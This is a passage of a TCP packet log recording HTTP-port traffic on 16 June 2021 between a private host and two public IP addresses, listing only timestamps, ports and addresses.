Jun 16, 2021 12:05:23.391551018 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.391566992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391593933 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.391604900 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.392173052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392200947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392227888 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.392232895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392267942 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392293930 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.392303944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392330885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392349958 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.392357111 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392379999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392395973 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.392405033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392431974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392446041 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.392461061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392488956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392505884 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.392512083 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.392546892 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.393163919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393198013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393224001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393245935 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.393250942 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393280983 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393302917 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.393309116 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393338919 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393352032 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.393363953 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393387079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393395901 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.393410921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393433094 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393443108 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.393455029 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393476009 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.393486023 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.394083977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.394112110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.394130945 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.394135952 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.394159079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.394169092 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.394182920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.394205093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.394215107 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.394226074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.394247055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.394258022 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.394268990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.394299030 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.414659977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414701939 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414726973 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414757013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414784908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414808989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414817095 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.414836884 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414839029 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.414864063 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.414865017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414894104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414921045 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.414926052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414961100 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.414994001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415007114 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.415026903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415040016 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.415056944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415080070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415096045 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.415174961 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415205956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415221930 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.415230036 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415255070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415266037 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.415280104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415312052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415319920 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.415334940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415359974 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415370941 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.415384054 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415416956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415424109 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.415443897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415481091 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415493965 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.415513039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.415558100 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.416059017 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416085005 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416110992 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416136980 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.416148901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416173935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416193008 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.416209936 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416241884 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416255951 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.416269064 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416295052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416310072 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.416323900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416353941 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416366100 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.416374922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416414022 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.416933060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416963100 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.416985989 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.417015076 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.435626984 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.444307089 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474118948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474159002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474186897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474211931 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474236012 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474246025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474272966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474284887 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474301100 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474330902 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474339008 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474353075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474385977 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474389076 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474411964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474436045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474447966 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474463940 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474484921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474488020 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474505901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474528074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474531889 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474548101 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474565029 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474569082 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474596024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474616051 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474626064 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474641085 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474651098 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474666119 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474687099 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474709034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474714041 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474729061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474752903 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474757910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474782944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474806070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474807024 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474828005 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474848032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474858046 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474870920 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474895954 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474900007 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474922895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474945068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474948883 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.474968910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474991083 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.474994898 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475013971 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475034952 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475039959 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475064039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475087881 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475090027 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475130081 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475131989 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475156069 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475178003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475194931 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475203037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475227118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475250959 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475259066 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475275040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475285053 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475490093 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475517035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475543022 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475545883 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475568056 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475580931 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475590944 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475615025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475636959 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475639105 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475665092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475688934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475691080 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475713968 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475737095 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475742102 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475768089 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475790977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475795984 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475814104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475836039 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475857019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475858927 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475873947 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475883007 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475908041 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475934029 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475939035 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475960970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.475975990 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.475979090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.476044893 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.566622019 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.566832066 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:52.014065027 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:52.056571007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:52.058583021 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:52.058926105 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:52.101167917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:52.408915043 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:52.424865007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:52.424916983 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:52.424949884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:52.424984932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:52.425010920 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:52.425019979 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:52.425040007 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:52.425055981 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:52.425084114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:52.425091028 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:52.640328884 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.025351048 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.025381088 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.025402069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.025423050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.025433064 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.025973082 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.026288986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.026310921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.026354074 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.027369022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.027393103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.027441025 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.028361082 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.028392076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.028435946 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.029388905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.029419899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.030417919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.030446053 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.030493975 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.031460047 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.031503916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.031516075 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.032493114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.032519102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.032552958 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.033584118 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.033612013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.033639908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.034569979 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.034595013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.035613060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.035638094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.035665035 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.036645889 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.036672115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.036698103 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.037694931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.037720919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.037774086 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.038683891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.038714886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.038767099 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.039784908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.039813042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.040797949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.040833950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.040863991 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.041821003 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.041857958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.041888952 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.042083025 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.042315960 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.042826891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.043153048 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.069744110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.069772005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.069869041 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.070147038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.070164919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.070209980 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.071180105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.071198940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.071252108 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.072205067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.072222948 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.073252916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.073275089 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.073322058 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.074512959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.074532986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.074584961 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.074834108 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.075042963 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.075342894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.075362921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.075640917 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.076334953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.076351881 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.076478004 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.077389956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.077886105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.077903032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.077950001 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.078911066 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.078934908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.079652071 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:53.079972029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:53.079992056 CEST	80	49169	172.67.158.27	192.168.2.22
